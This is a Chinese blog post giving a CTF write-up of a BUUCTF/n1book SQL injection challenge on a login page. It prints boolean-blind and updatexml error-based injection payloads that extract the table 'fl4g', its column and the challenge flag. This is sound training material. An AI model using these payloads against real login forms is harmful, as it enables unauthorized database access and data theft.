[web入门]SQL注入-2

前言

请原谅我发出一点不友好的声音:
每个人无论是做完题了,还是没做完题,他只要是想进步,都会搜一下WP,尤其是BUUCTF的WP更有必要搜一下,为的是更标准、更多的思路,不成想我搜索发现,清一色!
思路一摸一样,用的函数一模一样,更甚之有的连思路都没有,上来就报错注入,生怕别人不知道他是抄的wp。。。令人无语!


我写的这个是我自己的思路,权当是留作笔记吧,或者是一点不健康的牢骚。。。

知识点

  • 报错注入:
    使xml路径不存在而报错(存在特殊字符)
    updatexml(目标xml内容, xml路径, 更新内容)
    在路径处加入查询语句,用拼接函数与特殊符号(~)拼接在一起,使其报错并执行查询语句
  • length()
    返回字符串长度
  • ascii()
    使字符返回为ASCII
  • substr()
    其中有三个参数:substr(字符串,n,m)
    将字符串从第n位开始切m
  • concat()
    拼接函数,将字符串拼接在一起

wp

有两个页面,一个是login.php,一个是user.php,进入第一个,是一个登录框,注释里写着让抓包并且?tips=1开启错误提示(暗示报错注入)

判断注入类型

name=123&pass=123,回显是\u8d26\u53f7\u4e0d\u5b58\u5728,unicode解码就是账号不存在
name=admin&pass=123,回显是\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef,解码就是账号或密码错误

尝试发现:

union、select、or等字符被过滤(可以大小写、双写绕过)
闭合方式是'

第一个想到布尔盲注

name=admin' and length((Select table_name from information_schema.tables where table_schema=database() limit 0,1))>1 -- qwe&pass=123

成功,可以布尔盲注(密码错误则为true,不存在则为false
这里要注意一点:①用and连接;②子查询要再套一层括号

布尔盲注查表名

  • 判断表名长度:name=admin' and length((Select table_name from information_schema.tables where table_schema=database() limit 0,1))=4 -- qwe&pass=123
    在这里插入图片描述
  • 爆表名(只需要改变substr(字符串,n,1)中的n,来切不同的位置)
    第一位:admin' and ascii(substr((Select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102 -- qwe=> f
    第二位:admin' and ascii(substr((Select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=108 -- qwe=> l
    第三位:admin' and ascii(substr((Select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=52 -- qwe=> 4
    第四位:admin' and ascii(substr((Select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=103 -- qwe=> g

报错注入

在查的过程中我感觉太慢了(不能用burp爆,429
想到刚才开了错误提示,可以报错注入:admin' and updatexml(1,concat('~',database()),1) -- qwe'
在这里插入图片描述
可以报错注入
刚才查过表了,直接查字段(子查询):(Select column_name from information_schema.columns where table_schema=database() and table_name='fl4g' limit 0,1)
在这里插入图片描述
得到flag
查数据,拼接函数里的子查询:(Select flag from fl4g limit 0,1)
在这里插入图片描述
得到:n1book{login_sqli_is_nice}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1ta-chi

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值